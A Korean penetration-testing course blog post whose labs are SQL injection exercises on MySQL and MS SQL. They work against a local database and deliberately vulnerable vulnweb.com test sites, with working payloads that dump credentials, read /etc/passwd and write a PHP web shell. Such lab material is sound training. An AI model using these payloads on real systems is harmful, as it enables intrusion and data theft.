블로그 이미지
22Hz 22Hz

카테고리

분류 전체보기 (109)
모의해킹 침해대응 전문가 과정 (99)
리눅스 설정 (10)
Total
Today
Yesterday

달력

« » 2024.4
1 2 3 4 5 6
7 8 9 10 11 12 13
14 15 16 17 18 19 20
21 22 23 24 25 26 27
28 29 30

공지사항

태그목록

최근에 올라온 글

[실습2]  MySQL Database 쿼리 테스트


■ 실습 설명

직접 DB를 설치하여 SQL 쿼리가 어떤식으로 요청되는지 확인해 보자.


■ 준비 사항

APM(Apache + PHP + MYSQL) 설치

MySQL 쿼리분석기 설치


■ 사용시스템

window7(MySQL(Test Target))

MySQL 퀄리분석기(Test Tool)


■ 작업 과정

windows 7에 APM 설치하기

windows 7에 MySQL 쿼리분석기 설치하기



① APM(Apache, PHP, MySQL) 설치


■ 소프트웨어 다운로드

- http://apmsetup.com/download.php


■ APM 설치(기본값으로 설치)

Installer Language
<OK>

APMSETUP 7 for Win32 설치를 시작합니다.
<다음>

사용권 계약
<동의함>

구성 요소 선택
<다음>

설치 위치 선택
<설치>

APMSETUP 7 for Win32 설치 완료
<마침>


② MySQL 쿼리분석기 설치


■ 소프트웨어 다운로드

- http://downloads.mysql.com/archives/gui/

- 파일이름: mysql-gui-tools-5.0-r17-win32.msi


■ MySQL 쿼리분석기 설치(기본값으로 설치)

Welcome to the Setup Wizard for MySQL Tools for 5.0
<Next>

License Agreement
[ V ] I accept the terms in the license agreement
<Next>

Destination Folder
<Next>

Setup Type
<Next>

Ready to Install the Program
<Install>


③ MySQL 쿼리분석기 실행 및 MySQL에 접속하기


시작 > 모든 프로그램 > MySQL > MySQL Query Browser

        Stored Connection : MySQL1

        Server Host : 127.0.0.1           /* MySQL의 IP 입력 */

        Port : 3306                      /* MySQL의 Port */

        Username : root                  /* 기본 관리자 계정은 root */

        Password : apmsetup              /* 기본 관리자 계정 암호는 apmsetup */

        Default Schema: WebHacking         /* 임의의 이름(임의 DB를 생성하는 이름을 입력) */


(쿼리분석기 실행된 화면)



④ 쿼리분석기에서 테스트할 테이블 생성 및 데이터 입력

-> SQL 쿼리를 입력한 이후에 상단의 번개모양 아이콘을 선택하면 실행된다.


테스트할 테이블 생성하기 위해서 다음과 같은 내용을 입력한다.

create table test (

id int,

name varchar(10),

passwd varchar(10)

);


상단 부분의 아이콘 중 쿼리실행(번개모양)을 선택한다.


정상적으로 생성되어 있는지 확인하기 위해서  다음과 같은 내용을 입력한다.

select * from test;


test 테이블에 데이터를 입력한다. 

다음과 같은 내용을 개별적으로 입력하고 실행한다.

insert into test (id, name, passwd) values(1, "chulsu", "123456");


insert into test (id, name, passwd) values(2, "gildong", "happy");


insert into test (id, name, passwd) values(3, "shadow", "test1234");


정상적으로 생성되어 있는지 확인하기 위해서  다음과 같은 내용을 입력한다.

select * from test;


        [참고] 잘못된 정보가 등록된 경우에는 drop table 을 사용하여 지우고 다시 생성한다.

        drop table test;

        create table test (id int,name varchar(10),passwd varchar(10));

        insert into test (id, name, passwd) values(1, "chulsu", "123456");

        insert into test (id, name, passwd) values(2, "gildong", "happy");

        insert into test (id, name, passwd) values(3, "shadow", "test1234");


다른 명령어를 사용하여 정보를 확인한다.

select * from test where id=1


select * from test where id=1 or 1


select * from test where id=1 or 1=1

⑤ union 쿼리 사용(두개 이상의 쿼리를 이용하는 Union SQL Injection)

union 쿼리는 2가지 유형이 있다.
(ㄱ) union select
(ㄴ) union all select

union 쿼리 사용시 주의 사항은 반드시 필드의 개수 필드의 자료형 동일해야 한다.


union 쿼리 구문을 사용하기 전에 필드개수 파악하기

(ㄱ) order by 사용하는 경우
필드의 개수를 파악하기 위해서 아래와 같이 order by(데이터 정렬)를 사용하여 확인한다.
select * from test order by 1;

(ㄴ) null 값을 사용하는 경우
union을 사용하기 때문에 삽입한 null 개수가 필드의 수와 일치하지 않는 경우에 에러가 발생하는 점을 이용한다.
select * from test where id=1 union all select null;



(ㄱ) order by 사용하여 필드의 개수를 확인 하는 방법


select * from test order by 1;

-> 에러없음(정렬된다.)


select * from test order by 2;

-> 에러없음(정렬된다.)


select * from test order by 3;

-> 에러없음(정렬된다.)


select * from test order by 4;

-> 에러발생

-> 왼쪽 하단 부분에 에러 메세지 "Unknown column '4' in 'order clause' 표시된다.

-> 따라서, 필드가 3개라는 것을 확인할 수 있다.


(ㄴ) null 값을 사용하여 필드의 개수를 확인하는 방법


select * from test where id=1 union all select null;

-> 에러 발생

-> 왼쪽 하단 부분에 "The used SELECT statement have a different number of columns" 표시된다.


select * from test where id=1 union all select null, null;

-> 에러 발생


select * from test where id=1 union all select null, null, null;

-> 에러 없음

-> 따라서 null 3개인 경우에 에러가 없으므로 필드가 3개라는 것을 확인 할 수 있다.


⑥ 버전 정보 확인

버전 정보를 확인하기 위해 union 쿼리와 null 값 3개 중에 @@version 명령어를 삽입한다.


select * from test where id=1 union all select @@version,null,null#;

-> MySQL 5.1.41-community 버전이라는 것을 확인할 수 있다.


⑦ 데이터베이스 정보 확인

information_schema.schemata는 데이터베이스와 관련된 정보를 가지고 있으며, 이중에서 필드 shema_name을 사용하면 전체 데이터베이스 이름을 추출할 수 있다.


select * from test where id=1

union all select schema_name,null,null from information_schema.schemata;





⑧ 테이블 이름 확인

information_schema.tables는 테이블 관련 모든 정보를 가지고 있으며, table_name 필드 사용시 테이블이름을 추출할 수 있다.


select * from test where id=1

UNION SELECT null,null,GROUP_CONCAT(table_name)

FROM information_schema.tables WHERE version=10;

WHERAE 조건절의 version은 MySQL 버전을 의미한다.
- 10은 MySQL 버전이 5인 경우이다.
- 9는 MySQL 버전이 4인 경우이다.

정상적으로 충력이 정상적으로 되기 때문에 MySQL 10 버전이라는 것을 확인할 수 있다.


⑨ 필드 이름 확인

user_privileges의 필드 값을 추출해 보자.


information_schema.columns에는 필드(컬럼)의 정보를 포함하고 있으며 해당 필드 중 colum_name을 통해 필드 정보를 추출할 수 있다.


select * from test where id=1

UNION SELECT null, null, GROUP_CONCAT(column_name) FROM

information_schema.columns WHERE table_name = 'user_privileges';


⑩ 파일 읽기

데이버베이스 load_file() 함수를 통해 시스템 파일을 읽는 방법을 사용해 보자.


아파치 웹서버의 웹페이지(EX: index.php)의 경로를 확인한다.

-> C:\APM_Setup\htdocs\index.php


다음과 같이 접근하고자 하는 파일의 물리적인 위치를 적어 준다.

테스트는 "윈도우 시스템 예"를 가지고 작업한다.


(윈도우 시스템의 예)

select * from test where id=1

UNION SELECT null, null, load_file('C:\\APM_Setup\\htdocs\\index.php');


(유닉스 시스템 예)

select * from test where id=1

UNION SELECT null, null, load_file('etc/passwd');


⑪ 파일쓰기

into_outfile() 함수를 이용하여 웹서버에 파일(sec.txt)을 생성해 보자.


select * from test where id=1

UNION ALL SELECT

'your homepage belongs to me', null, null INTO OUTFILE

'C:\\APM_Setup\\htdocs\\sec.txt';


정상적으로 동작했는지 확인은 웹페이지를 통해 확인해 본다.


웹브라우저를 띄우고 다음과 같이 입력한다.

http://127.0.0.1/sec.txt


⑪ 웹셀 만들기


select * from test where id=1

union all SELECT

'<? system($_GET[\'input\']); ?>', null, null INTO OUTFILE

'C:\\APM_Setup\\htdocs\\hack.php';


C:\APM_Setup\htdocs 디렉토리에 생성된 hack.php 파일 확인


웹브라우저에서 확인

http://127.0.0.1/hack.php?input=ipconfig

-> 정상적으로 보인다.


다른 명령어에 대해서도 수행해 보자.

http://127.0.0.1/hack.php?input=dir

http://127.0.0.1/hack.php?input=hostname

http://127.0.0.1/hack.php?input=arp -a

http://127.0.0.1/hack.php?input=tasklist /m


(주의) 공백이 있으면 정상적으로 수행되지 않는것 같다.


[참고] 윈도우에서 수행할 수 있는 명령어 종류에 대해서





[실습3] MySQL DB 공격을 통한 데이터베이스 정보 추출


■ 실습 설명

testphp.vulnweb.com 사이트(WEB-MySQL)를 대상으로 테스트를 해보자.


■ 사용시스템

- http://testphp.vulnweb.com(Test Target)

- windows 7(웹브라우저)


① 특수문자 삽입(')을 통해 에러 유출 유무 확인

아래와 같이 웹브라우저에 입력한다.

http://testphp.vulnweb.com/listproducts.php?cat=1'


다음과 같은 경우

(ㄱ) 특수 문자등이 차단되거나

(ㄴ) 에러가 발생되지 않는 경우는

error-based 공격기법으로 정보를 알아낼수 없다.


따라서 Blind 타입 공격을 통해 취약점을 확인해야 한다.

(ㄱ) 첫번째는 원래 URL 정보이며, 정상적인 쿼리 결과를 제공한다.

(ㄴ) 두번째는 거짓조건 and 1=0을 삽입한 경우, 쿼리가 수행되지 않기 때문에 화면에 정보가 출력되지 않는다.

(ㄷ) 세번째는 참조건인 and 1=1을 삽입한 경우, 쿼리가 수행되어 결과가 출력된다.


(첫번째) 원래 URL 정보 입력(정상적인 쿼리 결과 제공)

http://testphp.vulnweb.com/listproducts.php?cat=1

-> 정상적인 출력 결과가 보인다.

(두번째) 거짓조건 and 1=0을 삽입한 경우(쿼리가 수행되지 않기 때문에 화면에 정보가 출력 않됨)

http://testphp.vulnweb.com/listproducts.php?cat=1 and 1=0



(세번째) 참조건인 and 1=1을 삽입한 경우(쿼리가 수행되어 결과가 출력)

http://testphp.vulnweb.com/listproducts.php?cat=1 and 1=1



에러가 발생되지 않는 사이트에 대해서 사용할 수 있는 다른 기법으로 time delay SQL Injection을 진행할 수도 있다.


time delay는 특정 시간만큼 쿼리 결과를 늦게 출력되도록 만드는 명령어이다. 만약 5초 이후에 쿼리 결과를 확인할 수 있다면 취약점이 있다고 판단할 수 있다.

[참고] DBMS 별 time delay 명령어
     MS SQL : waitfor delay
     MySQL  : 4버전에서는 benchmark(), 5버전에서는 sleep()
     Oracle : BEGIN DBMS_LOCK.SLEEP(5); END


해당 쿼리 삽입 후 5초 후에 쿼리 결과가 보인다면 sleep() 함수 사용이 가능하다는 것을 짐작할 수 있기 때문에 데이터 베이스가 MySQL이라고 추측할 수 있다.


아래와 같이 입력하면 5초뒤에 페이지가 보인다는 것을 확인할 수 있다.

http://testphp.vulnweb.com/listproducts.php?cat=1 and sleep(5)


② union 쿼리를 사용하기 위해 필드 개수를 확인


(NULL 1일때) 에러 발생

http://testphp.vulnweb.com/listproducts.php?cat=1 and 1=0 UNION ALL SELECT NULL


(NULL 2개일때) 에러 발생

http://testphp.vulnweb.com/listproducts.php?cat=1 and 1=0 UNION ALL SELECT NULL, NULL


(NULL 3개일때) 에러 발생

http://testphp.vulnweb.com/listproducts.php?cat=1 and 1=0 UNION ALL SELECT NULL, NULL, NULL


(NULL 4개일때) 에러 발생

http://testphp.vulnweb.com/listproducts.php?cat=1 and 1=0 UNION ALL SELECT NULL, NULL, NULL, NULL


(NULL 5개일때) 에러 발생

http://testphp.vulnweb.com/listproducts.php?cat=1 and 1=0 UNION ALL SELECT NULL, NULL, NULL, NULL, NULL


(NULL 6개일때) 에러 발생

http://testphp.vulnweb.com/listproducts.php?cat=1 and 1=0 UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, NULL


(NULL 7개일때) 에러 발생

http://testphp.vulnweb.com/listproducts.php?cat=1 and 1=0 UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, NULL, NULL


(NULL 8개일때) 에러 발생

http://testphp.vulnweb.com/listproducts.php?cat=1 and 1=0 UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL


(NULL 9개일때) 에러 발생

http://testphp.vulnweb.com/listproducts.php?cat=1 and 1=0 UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL


(NULL 10개일때) 에러 발생

http://testphp.vulnweb.com/listproducts.php?cat=1 and 1=0 UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL


(NULL 11개일때) 에러 없음

http://testphp.vulnweb.com/listproducts.php?cat=1 and 1=0 UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL

-> 11개의 NULL 패턴 사용시 에러가 발생되지 않았기 때문에 해당 테이블의 필드는 11개로 짐작할 수 있다.


③ 데이터베이스 계정 추출(사용자 정보)하기


11개의 필드 확인

null 필드 대신 user() 함수를 넣는다.


http://testphp.vulnweb.com/listproducts.php?cat=1 and 1=0 UNION ALL SELECT NULL, user(), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL#

-> 계정 정보가 보인다.



다른 방법을 통해 계정 정보를 확인해 보자.

UNION 쿼리 대신 그룹키 에러를 통한 정보 획득 방법을 테스트 해 보자.


http://testphp.vulnweb.com/listproducts.php?cat=1 AND (select 3111 from ( select sum(5),111,222,FLOOR(RAND(0)*2) as a from information_schema.tables group by a ) aaa);

Error: Duplicate entry '1' for key 'group_key' Warning: mysql_fetch_array() expects parameter 1 to be resource, boolean given in /hj/var/www/listproducts.php on line 74

-> 위와 같은 에러메세지가 출력된다.


위의 문장을 사용하기 위해서 다음과 같은 과정을 진행한다.


http://testphp.vulnweb.com/listproducts.php?cat=1 AND (select 3111 from aaa);

Error: Table 'acuart.aaa' doesn't exist Warning: mysql_fetch_array() expects parameter 1 to be resource, boolean given in /hj/var/www/listproducts.php on line 74

-> 에러 메세지가 발생하도록 존재하지 않는 테이블(EX: aaa)과 필드(EX: 3111)을 사용했다.



http://testphp.vulnweb.com/listproducts.php?cat=1 AND (select sum(5), (111,222,FLOOR(RAND(0)*2)) as a from information_schema.tables group by a);

Error: Operand should contain 1 column(s) Warning: mysql_fetch_array() expects parameter 1 to be resource, boolean given in /hj/var/www/listproducts.php on line 74

-> 서브쿼리 구조가 잘못되었을때 발생하는 "Operand should ....." 에러가 발생한다.

-> RAND() 함수는 랜덤값을 생성하기 위한 함수이고, FLOOR() 함수는 입력된 값 중 가장 큰 정수값을

   제공하는 함수이다.


http://testphp.vulnweb.com/listproducts.php?cat=1 AND (select 3111 from ( select sum(5), concat(111,222,FLOOR(RAND(0)*2)) as a from information_schema.tables group by a ) aaa);

Error: Duplicate entry '1112221' for key 'group_key' Warning: mysql_fetch_array() expects parameter 1 to be resource, boolean given in /hj/var/www/listproducts.php on line 74




http://testphp.vulnweb.com/listproducts.php?cat=1 AND (select 3111 from ( select sum(5), concat(user(),222,FLOOR(RAND(0)*2)) as a from information_schema.tables group by a ) aaa);

Error: Duplicate entry 'acuart@localhost2221' for key 'group_key' Warning: mysql_fetch_array() expects parameter 1 to be resource, boolean given in /hj/var/www/listproducts.php on line 74

-> 위와 같이 에러 메세지를 통해 중요정보를 확인할 수 있다.

-> 이 방법은 MySQL 사이트 공격을 위해 널리 사용되는 패턴이다.

-> 기타 다양한 패턴등이 존재하므로 검색을 통해 공부하기 바란다.



또 다른 방법을 통해 정보를 확인해 본다.

NULL 패턴 대신, 일련 번호 1부터 11까지 대입해 본다.


http://testphp.vulnweb.com/listproducts.php?cat=1 and 1=0 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11#

-> 전제 필드 중 3개의 필드(7, 2, 9)만 사용이 가능하다는 것을 알수 있다.


http://testphp.vulnweb.com/listproducts.php?cat=1 and 1=0 UNION ALL SELECT 1,2,3,4,5,6,user(),8,9,10,11#

-> 7 필드 자리에 사용자 정보가 표시되는 것을 확인할 수 있다.




④ version() 함수를 사용하여 DBMS 버전 확인하기


http://testphp.vulnweb.com/listproducts.php?cat=1 and 1=0 UNION ALL SELECT 1,2,3,4,5,6,version(),8,9,10,11#

-> 버전 정보를 확인할 수 있다.


⑤ 사용자 계정과 암호를 확인하기

사용자 계정과 암호가 들어 있을만한 테이블과 필드를 찾는다.


테이블 정보가 포함된 information_schema.tables를 사용하고 필드는 table_name, where 조건절에는 현재 데이터베이스를 선택한다.


http://testphp.vulnweb.com/listproducts.php?cat=1 and 1=0 union select  1, group_concat(table_name),3,4,5,6,7,8,9,10,11 from information_schema.tables where table_schema=database()#

-> 출력 결과 "artists,carts,categ,featured,guestbook,pictures,products,users" 중 users 테이블

   에 사용자 정보가 들어 있을 가능성이 높다.




컬럼 정보(column_name)를 가지고 있는 information_schema.columns을 from 절에서 사용하고, where 조건절에는 users 테이블을 넣어서 실행한다.


http://testphp.vulnweb.com/listproducts.php?cat=1 and 1=0 union select  1, group_concat(column_name),3,4,5,6,7,8,9,10,11 from information_schema.columns where table_name='users'#

-> 출력된 정보 중 사용자 이름은 uname 필드에 암호는 pass 필드에 들어 있을 것으로 추정된다.



사용자 계정을 포함하고 있을 것으로 추정되는 uname을 select 한다.


http://testphp.vulnweb.com/listproducts.php?cat=1 and 1=0 union select  1, uname,3,4,5,6,7,8,9,10,11 from users#

-> 사용자 계정이 'test'라는 것을 확인했다.










http://testphp.vulnweb.com/listproducts.php?cat=1 and 1=0 union select  1, pass,3,4,5,6,7,8,9,10,11 from users#

-> test 사용자의 암호가 'test'라는 것을 알수 있다.





(복원) APM 서비스 중지

<CTRL + SHIFT + ESC> => <서비스> 탭 => 오른쪽 하단 "<서비스>"

        서비스 이름: APM_APCHE5, APM_MYSQL5

        -> 서비스 중지













[실습4] MS SQL DB 공격 쿼리테스트


(준비사항)

MS SQL 2012 Express 설치(on Windows 7)


(프로그램 다운로드)

http://www.microsoft.com/en-us/sqlserver/editions/2012-editions/express.aspx

-> MS Site 가입을 먼저 해야 한다.

-> 다운로드 받아야 하는 프로그램은 2가지이다.

   - SQL_Server_2014_Express_with_Tools_64Bit

   - SQL_Server_2014_Management_Studio_Express_64Bit

-> 2개의 프로그램을 받아 설치한다.


(프로그램 직접 다운로드 받는 사이트)

http://www.microsoft.com/en-us/download/details.aspx?id=29062


프로그램 설치는 교육용 교재를 참고한다.



■ MS SQL 2012 Express 설치 후 프로그램 실행

시작 > 모든 프로그램 > Microsoft SQL Server 2012 > SQL Server Management Studio


■ 프로그램이 실행된 후 SQL Server Management Studio에서 DB 생성

데이터베이스 > 오른쪽 마우스 클릭 > 새 데이터베이스 > 새로운 DB 이름: test



① 생성된 DB test 사용


use test;


② 테이블 생성(EX: test, users, bbs)


create table test

(

id int not null,

name varchar(20) not null,

password varchar(20) not null

);


create table users

(

id int not null,

name varchar(20) not null,

password varchar(20) not null

);


create table bbs

(

id int not null,

name varchar(20) not null,

password varchar(20) not null

);





③ 생성된 테이블 test에 데이터 입력하기


insert into test values(1, 'charlie', '123456');


insert into test values(2, 'blade', 'qwert');


insert into test values(3, 'conco', '1234qwert');


다음과 같이 정상적으로 데이터 입력이 되었는지 확인한다.


select * from test;


출력된 내용은 다음과 같다.



구성된 DB에 SQL Injection 테스트를 해 보자.


① 에러유출을 통한 취약점 확인


select * from test where id=1'

메시지 105, 수준 15, 상태 1, 줄 1

문자열 ''의 따옴표가 짝이 맞지 않습니다.

-> 특수문자(') 삽입에 따른 에러 발생여부에 따라 취약점이 있다고 판단이 된다.


② 인증 우회 하기


select * from test where id ='1' or 'a'='a';


③ having and group by를 사용하여 에러유도 및 DB 정보 유출하기


select * from test where id='1' having 1=1--

-> 에러 정보 중에서 test.id(테이블.컬럼) 정보를 얻을 수 있다.


위에서 얻은 정보(test.id)를 제외하고 다른 정보를 얻기 위해 group by test.id 형식을 사용한다.


select * from test where id='1' group by test.id having 1=1--

-> 에러 정보 중에서 test.name(테이블.컬럼) 정보를 얻을 수 있다.


위에서 얻은 정보(test.id, test.name)를 제외하고 다른 정보를 얻기 위해서 group by test.id, test.name 형식을 사용한다.


select * from test where id='1' group by test.id, test.name having 1=1--

-> 에러 정보 중에서 test.password(테이블.컬럼) 정보를 얻을 수 있다.

만약 다음과 같이 정상적으로 출력이 된다면 더이상 필드 정보가 없다고 판단할 수 있다.

select * from test where id='1' group by test.id, test.name, test.password having 1=1--


④ convert() 함수를 통한 에러유도 및 정보 유출


@@version을 이용하여 DB 정보(DB 버전 정보) 확인하기

select * from test where id='1' and '1'=convert(int,@@version)--

-> 에러 출력 결과에 'Micorsoft SQL Server 2014 - 12.0.2000.8 (x86)' 정보를 확인할 수 있다.


db_name() 함수를 이용하여 DB 정보(테이블 이름) 확인하기

select * from test where id='1' and '1'=convert(int,db_name())--

-> 에러메세지 출력결과에 테이블 이름(test)를 확인할 수 있다.


user_name() 함수를 이용하여 DB 정보(DB 사용자 이름) 확인하기

select * from test where id='1' and '1'=convert(int,user_name())--

-> 에러메세지 출력결과에 현재 사용자(dbo) 정보를 확인할 수 있다.




information_schema.tables의 table_name를 이용하여 DB 정보(테이블 이름) 확인

select * from test where id='1' and '1'=convert(int,(select top 1 table_name from information_schema.tables))--

-> 에러메세지 출력결과에 테이블(users) 이름을 확인할 수 있다.


검색된 결과(test 테이블)를 제외하고 다른 테이블에 대한 정보를 요청한다.

select * from test where id='1' and '1'=

convert(int,(select top 1 table_name from information_schema.tables

where table_name not in ('test')))--

-> 에러메세지 출력결과에 다른 테이블(users) 이름을 확인할 수 있다.


검색된 결과(test, users 테이블)를 제외하고 다른 테이블에 대한 정보를 확인한다.

select * from test where id='1' and '1'=

convert(int,(select top 1 table_name from information_schema.tables

where table_name not in ('test', 'users')))--

-> 에러메세지 출력결과에 다른 테이블(bbs) 이름을 확인할 수 있다.


검색된 결과(test, users, bbs 테이블)를 제외하고 다른 테이블에 대한 정보를 확인한다.

select * from test where id='1' and '1'=

convert(int,(select top 1 table_name from information_schema.tables

where table_name not in ('test', 'users', 'bbs')))--

-> 에러 없이 정상적인 출력 결과가 나오기 때문에 추가적인 테이블은 없는 것으로 판단할 수 있다.


⑤ 필드 이름(columes name) 확인하기

필드 정보를 포함하는 information_schema.columns과 필드 이름을 제공하는 column_name을 사용

select * from test where id='1' and '1'=

convert(int,(select top 1 column_name from information_schema.columns

where table_name='test'))--

-> 에러 메세지 출력 결과에 필드(id) 이름을 확인할 수 있다.

확인된 id라는 필드를 제외한 추가 필드를 확인한다.

select * from test where id='1' and '1'=

convert(int,(select top 1 column_name from information_schema.columns

where table_name='test' and column_name not in ('id')))--

-> 에러 메세지 출력 결과에 필드(name) 이름을 확인할 수 있다.


확인된 id, name 필드를 제외한 추가 필드를 확인한다.

select * from test where id='1' and '1'=

convert(int,(select top 1 column_name from information_schema.columns

where table_name='test' and column_name not in ('id', 'name')))--

-> 에러 메세지 출력 결과에 필드(password) 이름을 확인할 수 있다.


확인된 id, name, password 필드를 제외한 추가 필드를 확인한다.

select * from test where id='1' and '1'=

convert(int,(select top 1 column_name from information_schema.columns

where table_name='test' and column_name not in ('id', 'name', 'password')))--

-> 에러 없이 정상적인 출력 결과가 나오기 때문에 추가적인 필드는 없는 것으로 판단할 수 있다.


필드의 저장 정보를 확인 확인한다.

select * from test where id='1' and '1'=convert(int,(select top 1 name from test))--

-> 에러 메세지의 출력 결과에 test 테이블에 들어 있는 name 필드의 값이 charlie로 되어 있는 것을 확인할 수 있다.


확인된 name 필드의 값(charlie)을 제외한 다른 정보 확인

select * from test where id='1' and '1'=

convert(int,(select top 1 name from test where name not in ('charlie')))--

-> 에러 메세지의 출력 결과에 test 테이블에 들어 있는 name 필드의 다른 값이 blade로 되어 있는 것을 확인할 수 있다.

확인된 name 필드의 값(charlie, blade)을 제외한 다른 정보 확인

select * from test where id='1' and '1'=

convert(int,(select top 1 name from test where name not in ('charlie', 'blade')))--

-> 에러 메세지의 출력 결과에 test 테이블에 들어 있는 name 필드의 다른 값이 conco로 되어 있는 것을 확인할 수 있다.


확인된 name 필드의 값(charlie, blade, conco)을 제외한 다른 정보 확인

select * from test where id='1' and '1'=

convert(int,(select top 1 name from test

where name not in ('charlie', 'blade', 'conco')))--

-> 에러 없이 정상적인 출력 결과가 나오기 때문에 추가적인 필드는 값은 없는 것으로 판단할 수 있다.


⑥ order by를 통한 필드 개수 확인

select * from test where id=1 order by 1--


select * from test where id=1 order by 2--


select * from test where id=1 order by 3--


select * from test where id=1 order by 4--

-> 에러가 발생하므로 필드의 개수는 3개임을 판단할 수 있다.



⑦ 부정조건과 함께 사용되는 union 쿼리

"6번 테스트" 결과에서 필드의 개수가 3개임을 확인했다. 따라서 union 쿼리를 사용할 수 있다. 아래와 부정조건과 함께 사용되는 union select 사용해 보자.


select * from test where id=1 and 1=2 union select 11,22,33--


⑧ union을 통한 버전 정보 확인하기

select * from test where id=1 and 1=2 union select 11,22,@@version--

-> 첫번째나 두번째 필드에 @@version를 사용해도 된다.


⑨ union을 이용한 테이블 목록 확인

information_schema.tables와 table_name을 이용하여 bbs, test, users 테이블를 확인한다.

select * from test where id=1

and 1=2 union select 11,22,table_name from information_schema.tables--

-> 3번째 필드에 table 정보(bbs, test, users)를 확인할수 있다.


⑩ union을 이용한 컬럼(column) 목록 확인

information_schema.columns와 column_name을 이용하여 test 테이블의 컬럼을 확인한다.

select * from test where id=1 and 1=2

union select 11,22,column_name from information_schema.columns where table_name='test'--

-> 출력 결과 중 3번째 필드에 test 테이블의 각 컬럼(id, name, password)을 확인할 수 있다.




⑪ 각 컬럼의 값 확인

select * from test where id=1 and 1=2 union select 11,22,name from test--

-> 출력 결과 중 3번째 필드에 test 테이블의 name 컬럼에 존재하는 값을 확인할 수 있다.


select * from test where id=1 and 1=2 union select 11,22,password from test--

-> 출력 결과 중 3번째 필드에 test 테이블의 password 컬럼에 존재하는 값을 확인할 수 있다.




[실습5] MSSQL DB 공격을 통한 데이터베이스 정보 추출1


대상 시스템

- http://testaspnet.vulnweb.com


테스트 도구

- 웹브라우저



■ 웹에 접속


http://testaspnet.vulnweb.com 사이트 접속


상단 메뉴의 "news"을 선택

화면 중간에 "Web Attacks - Can Your Web Applications Withstand The Force?" 선택

그럼 다음과 같은 화면이 나온다.








① 에러 기반의 SQL Injection(Error-based SQL Injection)


SQL Injection 취약성 테스트

-> URL 부분에 특수문자(')를 입력한다.


http://testaspnet.vulnweb.com/ReadNews.aspx?id=2'

-> 에러 메세지가 나오지 않는다. 따라서 에러기반 SQL Injection을 사용할 수는 없는것 같다.


② Blind SQL Injection


에러 메세지가 나오지 않으므로 Blind SQL Injection 테스트가 가능하지 아래와 같이 확인한다.


http://testaspnet.vulnweb.com/ReadNews.aspx?id=2 and 1=1


http://testaspnet.vulnweb.com/ReadNews.aspx?id=2 and 1=0

-> 정상적으로 쿼리가 수행되지 않는것 같다. 따라서, 공격 가능성이 있다고 판단한다.


③ 타임기반의 Blind SQL Injection을 통해 데이터베이스 종류 확인


        DB 종류 확인

        * MySQL : sleep() 함수 사용

        * MS-SQL : waitfor delay 함수 사용


http://testaspnet.vulnweb.com/ReadNews.aspx?id=2 select sleep(5) --

-> 정보가 없는 페이지만 출력되는것으로 판단하여 sleep() 함수가 동작하지 않는것 같다. 따라서, DB 서버가 MySQL은 아닌것 같다.





http://testaspnet.vulnweb.com/ReadNews.aspx?id=2; waitfor delay '0:0:5'

-> 웹브라우저의 왼쪽 하단을 보면 5초 뒤에 이 페이지가 정상적으로 보여 진다는 것을 알수 있으므로 DB 서버는 MS-SQL 인것으로 판단할 수 있다.






[실습6] MS-SQL DB 공격을 통한 데이터베이스 정보 확인


테스트 대상 : http://testasp.vulnweb.com

테스트 도구 : 웹브라우저



다음 사이트에 접속해 보자.

- http://testasp.vulnweb.com/showforum.asp?id=2


① 필드 개수 확인

http://testasp.vulnweb.com/showforum.asp?id=2 order by 1--

http://testasp.vulnweb.com/showforum.asp?id=2 order by 2--

http://testasp.vulnweb.com/showforum.asp?id=2 order by 3--

-> order by 3-- 입력했을때 에러가 발생된다. 따라서 테이블안의 컬럼 개수가 2개인것을 확인할 수 있다.

② union select 사용하여 버전 정보 확인

http://testasp.vulnweb.com/showforum.asp?id=2 and 1=2 union select 11,22--

-> 에러 메세지안에 '11'이 보이기 때문에 첫번째 필드만을 사용하여 정보를 획득해야 한다.

11

Microsoft SQL Native Client error '80040e14'

 

All queries combined using a UNION, INTERSECT or EXCEPT operator must have an equal number of expressions in their target lists.

 

/showforum.asp, line 120


http://testasp.vulnweb.com/showforum.asp?id=2 and 1=2 union select @@version,22--

-> Microsoft SQL Server 2005 알수 있다.






③ 테이블 정보 확인

http://testasp.vulnweb.com/showforum.asp?id=2 and 1=2 union select table_name, 22 from information_schema.tables--

-> 테이블 이름이 forums 인것을 확인할 수 있다.


④ 사용자가 만든 테이블 전체 확인

http://testasp.vulnweb.com/showforum.asp?id=2 and 1=2 union select count(*), 22 from sysobjects where xtype=0x55

-> count() 함수는 사용자 테이블의 개수를 확인할 때 사용한다.

-> 사용자의 테이블 개수가 4개임을 확인할 수 있다.







⑤ 4개 사용자 테이블의 문자열이 길이 확인

http://testasp.vulnweb.com/showforum.asp?id=2 and 1=2 union select top 1 len(name), 22 from sysobjects where xtype=0x55

-> 첫번째 테이블 이름의 길이는 7자리임을 알수 있다.


두번째 테이블을 검색해 보자.

http://testasp.vulnweb.com/showforum.asp?id=2 and 1=2 union select top 1 len(name), 22 from sysobjects where xtype=0x55 and name not in (select top 1 name from sysobjects where xtype=0x55)

-> 두번째 테이블의 이름은 5자리임을 알수 있다.




세번째 테이블에 대해서 확인해 보자.

http://testasp.vulnweb.com/showforum.asp?id=2 and 1=2 union select top 1 len(name), 22 from sysobjects where xtype=0x55 and name not in (select top 2 name from sysobjects where xtype=0x55)

-> 세번째 테이블 이름의 길이는 6자리임을 알수 있다.


네번째 테이블(마지막 테이블)에 대해서 확인해 보자.

http://testasp.vulnweb.com/showforum.asp?id=2 and 1=2 union select top 1 len(name), 22 from sysobjects where xtype=0x55 and name not in (select top 3 name from sysobjects where xtype=0x55)

-> 네번째 테이블의 이름의 길이는 5개임을 알수 있다.






지금까지 확인된 정보를 정리하면 다음과 같다.


---------------------------------------------------------

            문자열 길이  검색조건

---------------------------------------------------------

첫번째 테이블    7       select top 1 len(name)

---------------------------------------------------------

두번째 테이블    5       select top 1 len(name) ....

                        name not in (select top 1 name

---------------------------------------------------------

세번째 테이블    6       select top 1 len(name) ....

                        name not in (select top 2 name

---------------------------------------------------------

네번째 테이블    5       select top 1 len(name)

                        name not in (select top 3 name

---------------------------------------------------------


